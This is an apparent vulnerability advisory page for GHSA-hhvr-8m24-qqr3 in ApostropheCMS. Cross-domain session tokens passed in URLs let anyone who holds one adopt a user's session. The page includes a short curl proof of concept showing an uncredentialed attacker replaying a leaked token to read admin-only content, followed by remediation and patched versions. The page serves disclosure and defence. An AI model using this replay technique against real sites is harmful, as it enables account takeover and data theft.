ApostropheCMS: Cross-domain session token in URL confers session takeoverGHSA-hhvr-8m24-qqr3
GHSA-hhvr-8m24-qqr3 is a CWE-598 vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hhvr-8m24-qqr3.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
apostrophe📦@apostrophecms/passport-bridgeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including passport.user) with no credentials.
Details
packages/apostrophe/modules/@apostrophecms/i18n/index.js:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (
passport-bridge/index.jsL557–593) places the token in the URL. acceptCrossDomainSessionToken(L258–298) reads?aposCrossDomainSessionToken,Object.assigns the stored session (cookie +passport.user) ontoreq.session, then nulls the cache entry under namespace@apostrophecms/i18n:cross-domain-sessions.- Middleware without
before:is registered for every URL (expressfindModuleMiddlewareAndRoutesL820–879); verified withAPOS_LOG_ALL_ROUTES=1.
PoC
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
--data '{"username":"admin","password":"adminpassword","session":true}' \
http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
# → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
# → 200 adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
Impact Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.
Remediation — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.33.0npm install apostrophe@4.33.0 |
| 📦npm | @apostrophecms/passport-bridge | all versions | 1.6.1npm install @apostrophecms/passport-bridge@1.6.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update apostrophe to 4.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hhvr-8m24-qqr3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-hhvr-8m24-qqr3 in your dependencies?
Find it across npm, including transitive dependencies.